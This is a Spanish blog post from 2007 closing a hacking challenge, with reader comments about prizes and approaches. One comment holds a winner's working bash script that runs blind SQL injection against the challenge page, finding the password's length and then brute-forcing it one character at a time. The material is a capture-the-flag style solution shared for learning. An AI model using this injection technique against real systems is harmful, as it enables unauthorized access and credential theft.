martes, enero 23, 2007

Solucionario al Reto Hacking

Bueno, ya lo voy a dar por cerrado el primer reto, lo dejaré puesto para que el que quiera practique. A Dani K. que fue el segundo ganador ya le di su libro de Writting Secure Code en Valencia a David le entrego los gallumbos (calzoncillos) el 26 de Febrero en el Training Day de Madrid, a Romansoft espero verle pronto, al igual que a Dani Alonso, Xergius y Mandigo, que si no fuera por mis examenes ya estaría quedando con ellos.

En Valencia le pedí a Dani K. que me escribiera un solucionario explicativo para publicarlo, y el tipo se lo ha currado, así que os lo publico hoy en el siguiente Post.

Todos me enviaron su solución e incluso Xergius publicó su script.

http://pastebin.com/861245

Pasadlo bien!

7 comentarios:

Anónimo dijo...

muy buena la solucion, me he entretenido bastante mientras veia la solucion y la probaba, a todo esto, cuando sacas la 2ª prueba maligno?

Maligno dijo...

Estamos en fase de pruebas y verificación. Next week!

azaghtot dijo...

Gracias a Dani por escribir toda la historia para comprensión de los menos iniciados.
Animo desde aquí a que el resto de ganadores, como en ajedrez, tengan a bien contarnos ssu jugadas maestras. :-)

Gangrolf dijo...

Vaya, yo me quedé probando sentencias SQL, pero en los scripts que hay por ahi perdidos vi alguna función que trabataba con carácteres (!"·$%&... de modo que pensé que había que ir por otro lado ya que si metías algo fuera de a..z 0..9 siempre daba error. Creo que la pista del hashing me despistó del todo, ya que me ofusqué en buscar contenidos cifrados en las comunicaciones, que me sonaba raro, pero como : A)No podia hacer BLINDQL y B)Había hashing por algún lado...
¿Cual era el jugetito del que hablabas en la intro? AL menos gracias a esto he aprendido un huevo y he aprendido a manejar a Cain (y mirá que ni Dios pudo :P) y alguna otra herramienta de inyeción sql, que por otra parte me han defraudado basante.
Espero ansioso el siguiente. Ya te saludaré en Getafe!
Por cierto, todo esto se evita simplemente haciendo lo que suponía no? vamos, una miserable función que analice el la consulta antes de hacerla verdad?

Maligno dijo...

La solución de Dani Alonso, de Alicante!

#!/bin/bash
### Variables
minlong=1
maxlong=40
charset="1234567890abcdef"

### Funciones

# $1=cadena a inyectar
chequear()
{
lynx -dump
"http://www.informatica64.com/retohacking/pista.aspx?id_pista=2 and $1" |
grep -q "Access denied"

if [ $? -eq 0 ] ; then
return 0
else
return 1
fi
}


### Programa principal

# 1) Primero calculamos la longitud de la password
echo -n "Calculando longitud de la password (min=$minlong, max=$maxlong) ...
"
for i in `seq $minlong $maxlong` ; do
chequear "len((select contrasena from contrasena))=$i"
if [ $? -eq 0 ] ; then
long=$i
break
fi
done

if [ $long ] ; then
echo -e "Ok :-)\n** La longitud de la password es: $long **"
else
echo -e "\nLo siento, longitud no encontrada (pruebe a aumentar la
variable maxlong). Bye!"
exit
fi

# 2) Brute force de password
echo -e "\nAhora calcularemos el password por fuerza bruta. Esto puede
tardar. Espere..."
password=""
for i in `seq 1 $long` ; do
echo -n "#$i -> "
longcharset=`expr length $charset`
for j in `seq 1 $longcharset` ; do
unset match
char=`echo $charset | cut -b $j`

chequear "(select contrasena from contrasena) like '$password$char%'"
if [ $? -eq 0 ] ; then
match=$char
break
fi
done

if [ $match ] ; then
echo $match
password=$password$match
else
echo -e "ERROR :-(\nLo siento, deber?mpliar el charset. Proceso
abortado."
exit
fi
done

echo "** El password es: $password **"
echo Done

macmarc dijo...

Muy buena solucion, felicidades a los premiados..

dalonso dijo...

Y las camisetas para los ganadores?? jejeje, no serán las de Inseguros.com, verdad? que de esas ya tengo una!!

Entradas populares